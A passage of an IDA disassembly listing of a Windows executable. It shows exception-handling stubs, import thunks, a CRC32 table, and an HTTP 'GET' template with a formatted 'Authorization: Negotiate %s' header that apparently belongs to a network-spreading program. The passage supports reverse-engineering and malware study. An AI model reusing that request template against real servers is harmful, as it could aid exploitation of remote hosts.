loc_426671:				; CODE XREF: sub_42665B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42665B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426677	proc near		; CODE XREF: sub_42665B+3p
					; DATA XREF: .rdata:00428134o
		mov	dword ptr [ecx], offset	off_427D40
		jmp	sub_4264BA
sub_426677	endp


; =============== S U B	R O U T	I N E =======================================



sub_426682	proc near		; CODE XREF: sub_4266F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D14
		mov	eax, esi
		pop	esi
		retn	4
sub_426682	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42669A	proc near		; CODE XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)+15p
					; sub_40D50A+15p ...

var_3C		= dword	ptr -3Ch
var_20		= byte ptr -20h
var_D		= dword	ptr -0Dh
var_4		= dword	ptr -4

		mov	eax, offset loc_426E7A
		call	__EH_prolog
		sub	esp, 30h
		lea	eax, [ebp+var_D]
		push	eax		; int
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp+var_20]
		call	sub_426490
		and	[ebp+var_4], 0
		lea	eax, [ebp+var_20]
		push	eax
		lea	ecx, [ebp+var_3C]
		call	sub_4265D0
		push	offset dword_428130
		lea	eax, [ebp+var_3C]
		push	eax
		mov	[ebp+var_3C], offset off_427D40
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_42669A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4266DE	proc near		; CODE XREF: sub_4266F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426618
		mov	dword ptr [esi], offset	off_427D40
		mov	eax, esi
		pop	esi
		retn	4
sub_4266DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4266F6	proc near		; DATA XREF: .rdata:00427D0Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426618
		push	offset dword_428170
		lea	eax, [ebp+var_1C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger


loc_426714:				; DATA XREF: .rdata:00427D48o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4266DE
		push	offset dword_428130
		lea	eax, [ebp+var_1C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger


loc_426732:				; DATA XREF: .rdata:00427D1Co
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426682
		push	offset dword_428088
		lea	eax, [ebp+var_1C]
		push	eax
		call	__CxxThrowException@8 ;	_CxxThrowException(x,x)
		int	3		; Trap to Debugger
sub_4266F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426750	proc near		; CODE XREF: sub_40D99C+6Cp
		jmp	ds:dword_4271D8
sub_426750	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_426756	proc near		; CODE XREF: sub_40CE41+5Ep
					; sub_40E992+14Ap ...
		jmp	ds:dword_42722C
sub_426756	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_42675C	proc near		; CODE XREF: unknown_libname_2+23p
					; __global_unwind2+13p
		jmp	ds:dword_42719C
sub_42675C	endp

; [00000080 BYTES: COLLAPSED FUNCTION __wcsicmp. PRESS KEYPAD "+" TO EXPAND]
; [00000015 BYTES: COLLAPSED FUNCTION type_info::~type_info(void). PRESS KEYPAD	"+" TO EXPAND]
; [0000001C BYTES: COLLAPSED FUNCTION type_info::`scalar deleting destructor'(uint). PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_426813	proc near		; DATA XREF: .rdata:off_427D68o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_4268B6
		test	[esp+4+arg_0], 1
		jz	short loc_426829
		push	esi
		call	sub_41CC83
		pop	ecx


loc_426829:				; CODE XREF: sub_426813+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_426813	endp

; [0000003D BYTES: COLLAPSED FUNCTION exception::exception(char	const *	const &). PRESS	KEYPAD "+" TO EXPAND]
; [0000004A BYTES: COLLAPSED FUNCTION exception::exception(exception const &). PRESS KEYPAD "+"	TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_4268B6	proc near		; CODE XREF: sub_4264BA+16j
					; sub_426813+3p ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_427D68
		jz	short locret_4268CB
		push	dword ptr [ecx+4]
		call	sub_41CC83
		pop	ecx

locret_4268CB:				; CODE XREF: sub_4268B6+Aj
		retn
sub_4268B6	endp

; [0000000D BYTES: COLLAPSED FUNCTION unknown_libname_16. PRESS	KEYPAD "+" TO EXPAND]
; [0000003A BYTES: COLLAPSED FUNCTION _CxxThrowException(x,x). PRESS KEYPAD "+"	TO EXPAND]
; [00000075 BYTES: COLLAPSED FUNCTION _towlower. PRESS KEYPAD "+" TO EXPAND]
; [00000209 BYTES: COLLAPSED FUNCTION ___crtLCMapStringW. PRESS	KEYPAD "+" TO EXPAND]
; [00000030 BYTES: COLLAPSED FUNCTION _wcsncnt.	PRESS KEYPAD "+" TO EXPAND]
; [00000052 BYTES: COLLAPSED FUNCTION _iswctype. PRESS KEYPAD "+" TO EXPAND]
; [000001C5 BYTES: COLLAPSED FUNCTION ___crtGetStringTypeW. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_426DD8	proc near		; DATA XREF: .rdata:stru_427F48o

; FUNCTION CHUNK AT 0040D4A9 SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40D4A9
sub_426DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_426DE0	proc near		; DATA XREF: .rdata:stru_427F48o
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_426DF6
		mov	ecx, [ebp+8]
		jmp	loc_40D4A9
; ---------------------------------------------------------------------------

locret_426DF6:				; CODE XREF: sub_426DE0+8j
		retn
sub_426DE0	endp

; ---------------------------------------------------------------------------


loc_426DF7:				; DATA XREF: sub_40D07Do
		mov	eax, offset stru_427F48
		jmp	___CxxFrameHandler
; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_426E04	proc near		; DATA XREF: .rdata:stru_427F78o
		lea	ecx, [ebp+14h]
		jmp	loc_40D4A9
sub_426E04	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E0C	proc near		; DATA XREF: .rdata:stru_427F78o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40D4A9
sub_426E0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E14	proc near		; DATA XREF: sub_40D21Fo
		mov	eax, offset stru_427F78
		jmp	___CxxFrameHandler
sub_426E14	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426E20	proc near		; DATA XREF: std::basic_string<char,std::char_traits<char>,std::allocator<char>>::_Copy(uint)o
		mov	eax, offset stru_427FA8
		jmp	___CxxFrameHandler
sub_426E20	endp


; =============== S U B	R O U T	I N E =======================================



sub_426E2A	proc near		; DATA XREF: .rdata:stru_428000o
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
sub_426E2A	endp

; ---------------------------------------------------------------------------


loc_426E32:				; DATA XREF: sub_4264FEo
		mov	eax, offset stru_428008
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_426E3C	proc near		; DATA XREF: .rdata:stru_428098o
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
sub_426E3C	endp

; ---------------------------------------------------------------------------


loc_426E44:				; DATA XREF: sub_426573o
		mov	eax, offset stru_4280A0
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_426E4E	proc near		; DATA XREF: .rdata:stru_4280BCo
		mov	ecx, [ebp-14h]
		jmp	sub_4268B6
sub_426E4E	endp

; ---------------------------------------------------------------------------


loc_426E56:				; DATA XREF: sub_4265D0o
		mov	eax, offset stru_4280C4
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_426E60	proc near		; DATA XREF: .rdata:stru_4280E0o
		mov	ecx, [ebp-10h]
		jmp	sub_4268B6
sub_426E60	endp

; ---------------------------------------------------------------------------


loc_426E68:				; DATA XREF: sub_426618o
		mov	eax, offset stru_4280E8
		jmp	___CxxFrameHandler

; =============== S U B	R O U T	I N E =======================================



sub_426E72	proc near		; DATA XREF: .rdata:stru_428140o
		lea	ecx, [ebp-20h]
		jmp	loc_40D4A9
sub_426E72	endp

; ---------------------------------------------------------------------------


loc_426E7A:				; DATA XREF: sub_42669Ao
		mov	eax, offset stru_428148
		jmp	___CxxFrameHandler
_text		ends

; Section 2. (virtual address 00027000)
; Virtual size			: 00001CAE (   7342.)
; Section size in file		: 00001CAE (   7342.)
; Offset to raw	data for section: 00027000
; Flags	40000040: Data Readable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read
_rdata		segment	para public 'DATA' use32
		assume cs:_rdata
		;org 427000h
dword_427000	dd 77E75D9Eh		; DATA XREF: sub_40F96B+201r
					; sub_416DC9+26r
dword_427004	dd 77E6BD68h		; DATA XREF: ___crtsetenv+173r
dword_427008	dd 77E77F2Eh		; DATA XREF: ___crtCompareStringA+3Er
					; ___crtCompareStringA+261r
dword_42700C	dd 77E762D0h		; DATA XREF: ___crtCompareStringA+5Br
					; ___crtCompareStringA+B9r
dword_427010	dd 77E70192h		; DATA XREF: __chsize+F9r
dword_427014	dd 77E7176Ch		; DATA XREF: _ValidateExecute(int (*)(void))+8r
dword_427018	dd 77E7339Ch		; DATA XREF: sub_424770+Cr
dword_42701C	dd 77E7C9E7h		; DATA XREF: sub_424752+5r
					; sub_424763+6r
dword_427020	dd 77E7C866h		; DATA XREF: ___crtGetStringTypeA+3Fr
					; ___crtGetStringTypeA+12Dr ...
dword_427024	dd 77E641EBh		; DATA XREF: ___crtGetStringTypeA+59r
					; ___crtGetStringTypeA+8Dr ...
dword_427028	dd 77E73FF9h		; DATA XREF: __commit+2Cr
dword_42702C	dd 77E7FF2Eh		; DATA XREF: __set_osfhnd:loc_423801r
					; __free_osfhnd:loc_42387Br
dword_427030	dd 77E78406h		; DATA XREF: __ioinit+FFr
					; __ioinit+166r ...
dword_427034	dd 77E79C3Dh		; DATA XREF: __ioinit+158r
					; __NMSG_WRITE+143r
dword_427038	dd 77E7C931h		; DATA XREF: __ioinit+19Dr
dword_42703C	dd 77E77EE1h		; DATA XREF: ___crtGetEnvironmentStringsA+9r
dword_427040	dd 77E67702h		; DATA XREF: ___crtGetEnvironmentStringsA:loc_4231FFr
					; ___crtGetEnvironmentStringsA+E1r
dword_427044	dd 77E7C9E1h		; DATA XREF: ___crtGetEnvironmentStringsA+CEr
dword_427048	dd 77E9C5B1h		; DATA XREF: ___crtGetEnvironmentStringsA+11Fr
dword_42704C	dd 77EB9A84h		; DATA XREF: __XcptFilter+138r
dword_427050	dd 77E781F9h		; DATA XREF: ___crtLCMapStringA+42r
					; ___crtLCMapStringA+14Dr ...
dword_427054	dd 77E77405h		; DATA XREF: ___crtLCMapStringA+5Er
					; ___crtLCMapStringA+A7r ...
dword_427058	dd 77F522F2h		; DATA XREF: sub_422608+58r
dword_42705C	dd 77E6D706h		; DATA XREF: __raise_exc+215r
					; _CxxThrowException(x,x)+2Er
dword_427060	dd 77E6C703h		; DATA XREF: _getSystemCP+1Ar
dword_427064	dd 77E75CB5h		; DATA XREF: sub_40111D+DFr
					; WinMain(x,x,x,x)+7Ar	...
dword_427068	dd 77E77963h		; DATA XREF: sub_40111D+B8r
					; WinMain(x,x,x,x)+2DBr ...
dword_42706C	dd 77E61BB8h		; DATA XREF: sub_40111D+A7r
					; WinMain(x,x,x,x)+2C3r ...
dword_427070	dd 77E7A099h		; DATA XREF: sub_40111D+83r
					; WinMain(x,x,x,x)+DAr	...
dword_427074	dd 77E704FCh		; DATA XREF: sub_40111D+74r
					; WinMain(x,x,x,x)+C4r	...
dword_427078	dd 77E61BE6h		; DATA XREF: sub_40111D+29r
					; WinMain(x,x,x,x)+1F4r ...
dword_42707C	dd 77E7AC37h		; DATA XREF: WinMain(x,x,x,x)+3C1r
					; sub_401ACD+7BBr ...
dword_427080	dd 77E73628h		; DATA XREF: WinMain(x,x,x,x)+33Br
					; sub_401ACD+7872r ...
dword_427084	dd 77E706B7h		; DATA XREF: WinMain(x,x,x,x)+274r
					; sub_417276+15r ...
dword_427088	dd 77E80656h		; DATA XREF: WinMain(x,x,x,x)+267r
dword_42708C	dd 77F5157Dh		; DATA XREF: WinMain(x,x,x,x)+1D8r
					; WinMain(x,x,x,x)+3E6r ...
dword_427090	dd 77E6BD13h		; DATA XREF: WinMain(x,x,x,x):loc_4013DCr
dword_427094	dd 77E70396h		; DATA XREF: WinMain(x,x,x,x)+1B5r
					; WinMain(x,x,x,x)+221r ...
dword_427098	dd 77E74CABh		; DATA XREF: WinMain(x,x,x,x)+19Er
					; sub_40F6B4+110r ...
dword_42709C	dd 77E79F93h		; DATA XREF: WinMain(x,x,x,x)+D3r
					; sub_409B13+2r ...
dword_4270A0	dd 77E79D5Bh		; DATA XREF: WinMain(x,x,x,x)+6Br
					; WinMain(x,x,x,x)+311r ...
dword_4270A4	dd 77E7C2C4h		; DATA XREF: WinMain(x,x,x,x)+64r
dword_4270A8	dd 77E7751Ah		; DATA XREF: WinMain(x,x,x,x)+2Cr
					; sub_401ACD+2561r ...
dword_4270AC	dd 77E75CEBh		; DATA XREF: sub_401ACD+7AD8r
					; sub_40B232+2Br ...
dword_4270B0	dd 77E6AD34h		; DATA XREF: sub_401ACD+69ACr
					; sub_41835A+35r
dword_4270B4	dd 77E71AFEh		; DATA XREF: sub_401ACD+6776r
dword_4270B8	dd 77E805D8h		; DATA XREF: sub_409B13+13Ar
					; sub_409B13:loc_40A021r ...
dword_4270BC	dd 77E7A5FDh		; DATA XREF: sub_409B13+11r
					; sub_416F1B+60r ...
dword_4270C0	dd 77E65F4Ch		; DATA XREF: .text:0040ADF7r
					; sub_419594+34r
dword_4270C4	dd 77E7513Ch		; DATA XREF: .text:0040AE8Er
dword_4270C8	dd 77E7C657h		; DATA XREF: .text:0040AF02r
					; sub_4184E2+32r ...
dword_4270CC	dd 77E73C49h		; DATA XREF: sub_40B162+4Ar
					; sub_40B8A2+1AFr ...
dword_4270D0	dd 77F7E300h		; DATA XREF: sub_40C125+142r
dword_4270D4	dd 77F7E21Fh		; DATA XREF: sub_40C125+D7r
dword_4270D8	dd 77E7C706h		; DATA XREF: sub_40C33D+77r
dword_4270DC	dd 77F53275h		; DATA XREF: sub_40C33D+6Br
					; sub_40C33D+22Fr
dword_4270E0	dd 77E79D8Ch		; DATA XREF: sub_40D8AE+94r
					; sub_40D99C+181r ...
dword_4270E4	dd 77E737DEh		; DATA XREF: sub_40D99C+43Ar
dword_4270E8	dd 77E78B82h		; DATA XREF: sub_40D99C+1A9r
					; sub_40D99C+499r ...
dword_4270EC	dd 77E7A837h		; DATA XREF: sub_40D99C+A7r
					; sub_40F6B4+1CBr ...
dword_4270F0	dd 77E616B4h		; DATA XREF: sub_40E504+19Br
					; sub_410CD6+115r ...
dword_4270F4	dd 77E79CE3h		; DATA XREF: sub_40E504+111r
					; sub_410F20+77r ...
dword_4270F8	dd 77E79C90h		; DATA XREF: sub_40E504+FDr
					; sub_40E504+10Ar ...
dword_4270FC	dd 77E7727Ah		; DATA XREF: sub_40E504+74r
					; sub_410E27+23r ...
dword_427100	dd 77E64106h		; DATA XREF: sub_40F531+A0r
					; sub_41AA43+1B6r
dword_427104	dd 77E64006h		; DATA XREF: sub_40F531+8Cr
					; sub_41AA43+19Fr
dword_427108	dd 77E793EFh		; DATA XREF: sub_40F6B4+1F5r
					; sub_40FFF1+38r ...
dword_42710C	dd 77E78EAAh		; DATA XREF: sub_40F96B+5ECr
					; sub_416DC9+C0r ...
dword_427110	dd 77E79424h		; DATA XREF: sub_40F96B+280r
					; sub_417276+135r
dword_427114	dd 77E794BFh		; DATA XREF: sub_40F96B+272r
					; sub_417276+123r
dword_427118	dd 77E75E67h		; DATA XREF: sub_40F96B+212r
					; sub_40F96B+5DBr ...
dword_42711C	dd 77E78C81h		; DATA XREF: sub_40FFF1+6Cr
					; sub_415E1B+259r ...
dword_427120	dd 77E76968h		; DATA XREF: sub_410A4E+5Fr
dword_427124	dd 77E74C59h		; DATA XREF: sub_410CD6+C7r
dword_427128	dd 77EC7C51h		; DATA XREF: sub_4110AB+5Er
dword_42712C	dd 77E70F89h		; DATA XREF: sub_411C14+Er
					; sub_4151AD+Dr ...
dword_427130	dd 77E802FCh		; DATA XREF: sub_412B09+18Cr
					; sub_412B09+2D4r ...
dword_427134	dd 77E6D75Bh		; DATA XREF: sub_412B09+182r
					; sub_41386C+FFr
dword_427138	dd 77E80618h		; DATA XREF: sub_416F1B+170r
					; sub_4185A5+D4r
dword_42713C	dd 77E78147h		; DATA XREF: sub_416F1B+BCr
dword_427140	dd 77F51597h		; DATA XREF: sub_4170ED+41r
					; sub_4170ED+F5r ...
dword_427144	dd 77F516F8h		; DATA XREF: sub_4170ED+21r
					; sub_417276+4Ar ...
dword_427148	dd 77E77CB7h		; DATA XREF: sub_4170ED+10r
					; sub_417276+40r ...
dword_42714C	dd 77E7F01Ah		; DATA XREF: sub_417276+88r
					; sub_41741D+55r
dword_427150	dd 77E61A54h		; DATA XREF: sub_417276+56r
					; sub_41741D+97r
dword_427154	dd 77E7C3A5h		; DATA XREF: sub_417276+34r
					; sub_41741D+2Er
dword_427158	dd 77E76A60h		; DATA XREF: sub_41814D+2Dr
dword_42715C	dd 77E71B14h		; DATA XREF: sub_4181D7+26r
dword_427160	dd 77E7166Fh		; DATA XREF: sub_4181D7+1Dr
dword_427164	dd 77E75090h		; DATA XREF: sub_418212+69r
dword_427168	dd 77E74D76h		; DATA XREF: sub_418212+36r
dword_42716C	dd 77E77797h		; DATA XREF: sub_418212+25r
dword_427170	dd 77E7011Ah		; DATA XREF: sub_418294+96r
dword_427174	dd 77E73CE2h		; DATA XREF: sub_418294+60r
dword_427178	dd 77E668D9h		; DATA XREF: sub_41835A+15Dr
dword_42717C	dd 77E79924h		; DATA XREF: sub_418B59+13r
					; ___crtLCMapStringA+20Dr ...
dword_427180	dd 77E77CCEh		; DATA XREF: sub_418C2B+Fr
					; _mbstowcs+54r ...
dword_427184	dd 77E76A2Eh		; DATA XREF: sub_4196BD+DEr
dword_427188	dd 77E7FF65h		; DATA XREF: sub_419B10+5Ar
dword_42718C	dd 77EB7624h		; DATA XREF: sub_419B10+3Dr
dword_427190	dd 77E6C29Dh		; DATA XREF: sub_41A19E+1EBr
dword_427194	dd 77E76C1Ah		; DATA XREF: sub_41AA43+1CFr
dword_427198	dd 77F5722Fh		; DATA XREF: sub_41B202+110r
					; sub_41B202+22Dr ...
dword_42719C	dd 77F6183Eh		; DATA XREF: sub_42675Cr
dword_4271A0	dd 77E76E3Dh		; DATA XREF: _time+6Cr	__tzset+38r
dword_4271A4	dd 77E61608h		; DATA XREF: _time+17r
dword_4271A8	dd 77E6177Ah		; DATA XREF: start+9Fr	__ioinit+59r
dword_4271AC	dd 77E7C938h		; DATA XREF: start+74r
dword_4271B0	dd 77E7C486h		; DATA XREF: start+26r
dword_4271B4	dd 77E7AC5Eh		; DATA XREF: sub_41DC8A+54r
dword_4271B8	dd 77E76E0Bh		; DATA XREF: sub_41DDD2+50r
dword_4271BC	dd 77E7C726h		; DATA XREF: sub_41DDD2+11r
dword_4271C0	dd 77E79E34h		; DATA XREF: sub_41DEA2+240r
					; sub_41E976+120r ...
dword_4271C4	dd 77E7980Ah		; DATA XREF: ___sbh_alloc_new_region+76r
					; ___sbh_alloc_new_group+51r ...
dword_4271C8	dd 77E73196h		; DATA XREF: sub_42478C+Cr
dword_4271CC	dd 77E7849Fh		; DATA XREF: __setmbcp+48r
					; _setSBUpLow+14r ...
dword_4271D0	dd 77E7A13Fh		; DATA XREF: _getSystemCP+2Fr
		align 8
dword_4271D8	dd 71B2ACCBh		; DATA XREF: sub_426750r
		align 10h
dword_4271E0	dd 71AB4122h		; DATA XREF: sub_414B46+D4r
dword_4271E4	dd 71AB1746h		; DATA XREF: sub_412661+1DEr
dword_4271E8	dd 71AB401Ch		; DATA XREF: sub_412661+21Br
					; sub_412661+243r
dword_4271EC	dd 71AB1836h		; DATA XREF: sub_40EFBF+6Er
					; sub_40F03C+8Er
dword_4271F0	dd 71AB41DAh		; DATA XREF: sub_40E992+4Ar
					; sub_40EFBF+15r
dword_4271F4	dd 71AB3F8Dh		; DATA XREF: sub_40E992+5Ar
dword_4271F8	dd 71AB155Ah		; DATA XREF: sub_40E992+8Dr
					; sub_4136C6+70r ...
dword_4271FC	dd 71AB3ECEh		; DATA XREF: sub_40E992+B5r
dword_427200	dd 71AB5DE2h		; DATA XREF: sub_40E992+C9r
dword_427204	dd 71AB868Dh		; DATA XREF: sub_40E992+171r
dword_427208	dd 71AB5A01h		; DATA XREF: sub_414C2F+20r
dword_42720C	dd 71AB12F8h		; DATA XREF: sub_40DEA1+27r
					; sub_40DFE3+27r ...
dword_427210	dd 71AB1746h		; DATA XREF: sub_40DEA1+36r
					; sub_40DFE3+36r ...
dword_427214	dd 71AB3E5Dh		; DATA XREF: sub_40DEA1+59r
					; sub_40DFE3+59r ...
dword_427218	dd 71AB5690h		; DATA XREF: sub_40DEA1+6Ar
					; sub_40DFE3+6Ar ...
dword_42721C	dd 71AB1A6Dh		; DATA XREF: sub_40DEA1+E0r
					; sub_40DFE3+E0r ...
dword_427220	dd 71AB3C22h		; DATA XREF: .text:0040D389r
					; sub_40DEA1+45r ...
dword_427224	dd 71AB1AF4h		; DATA XREF: sub_40CFDF+12r
					; sub_40DEA1+C3r ...
dword_427228	dd 71AB1890h		; DATA XREF: sub_40CE41+4Cr
					; sub_40E992+106r
dword_42722C	dd 71AB1B7Bh		; DATA XREF: sub_426756r
dword_427230	dd 71AB157Eh		; DATA XREF: sub_401ACD+2FA9r
		align 8
dword_427238	dd 0			; DATA XREF: sub_401070+26r
		dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh
		dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h,	0E0D5E91Eh
		dd 97D2D988h, 9B64C2Bh,	7EB17CBDh, 0E7B82D07h, 90BF1D91h
		dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh,	1ADAD47Dh
		dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h,	646BA8C0h
		dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h,	0FA0F3D63h
		dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h,	0A2677172h
		dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh
		dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h
		dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h
		dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh
		dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h
		dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h
		dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h
		dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh,	0E10E9818h
		dd 7F6A0DBBh, 86D3D2Dh,	91646C97h, 0E6635C01h, 6B6B51F4h
		dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh,	1B01A57Bh
		dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h,	8BBEB8EAh
		dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h,	0FBD44C65h
		dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h
		dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh
		dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh
		dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h
		dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh
		dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h
		dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch
		dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h
		dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h,	0E40ECF0Bh
		dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h,	8708A3D2h
		dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh,	196C3671h
		dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah,	67DD4ACCh
		dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h,	0D6D6A3E8h
		dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h
		dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h
		dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h
		dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h
		dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h
		dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh
		dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch,	26D930Ah
		dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h
		dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh,	0E5D5BE0Dh
		dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h,	68DDB3F8h
		dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h,	18B74777h
		dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch,	8F659EFFh
		dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh
		dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh
		dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h
		dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch
		dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h
		dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 0C4614AB8h, 5D681B02h
		dd 2A6F2B94h, 0B40BBE37h, 0C30C8EA1h, 5A05DF1Bh, 2D02EF8Dh
dword_427638	dd 2Eh			; DATA XREF: sub_401ACD+347Do
					; sub_401ACD+356Do ...
dword_42763C	dd 2Eh			; DATA XREF: sub_401ACD+389Do
					; sub_401ACD+38D3o ...
; char aGetHttp1_0Host[]
aGetHttp1_0Host	db 'GET / HTTP/1.0',0Dh,0Ah ; DATA XREF: sub_40D21F+62o
		db 'Host: %s',0Dh,0Ah
		db 'Authorization: Negotiate %s',0Dh,0Ah
		db 0Dh,0Ah,0
		align 10h
dbl_427680	dq 1.388888888888889e-2	; DATA XREF: sub_40D031+2Fr
dbl_427688	dq 1.666666666666667e-1	; DATA XREF: sub_40D031+15r
dword_427690	dd 0FFFFFFFFh		; DATA XREF: sub_40D07D+16Fr
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::append(uint,char)r ...
		align 8
dbl_427698	dq 1.333333333333333	; DATA XREF: sub_40D07D+79r
dword_4276A0	dd 0			; DATA XREF: sub_40D21F+4Do
					; std::basic_string<char,std::char_traits<char>,std::allocator<char>>::assign(std::basic_string<char,std::char_traits<char>,std::allocator<char>> const	&,uint,uint)+5Bo ...
flt_4276A4	dd 5.0e-1		; DATA XREF: sub_40D99C+398r
dbl_4276A8	dq 9.765625e-4		; DATA XREF: sub_4163FA+2BDr
					; sub_4163FA+2D8r ...
dbl_4276B0	dq -1.52587890625e-4	; DATA XREF: sub_417ADE+3E5r
dbl_4276B8	dq 3.0517578125e-4	; DATA XREF: sub_417ADE+3C5r
dbl_4276C0	dq -3.0517578125e-4	; DATA XREF: sub_417ADE+342r
					; sub_417ADE+3A7r
dbl_4276C8	dq 1.52587890625e-4	; DATA XREF: sub_417ADE+271r
dbl_4276D0	dq -1.739501953125e-3	; DATA XREF: sub_417ADE+24Br
					; sub_417ADE+2D5r ...
dbl_4276D8	dq 3.11279296875e-3	; DATA XREF: sub_417ADE+E1r
dbl_4276E0	dq 3.0517578125e-5	; DATA XREF: sub_417ADE+AEr
					; sub_417ADE+138r ...
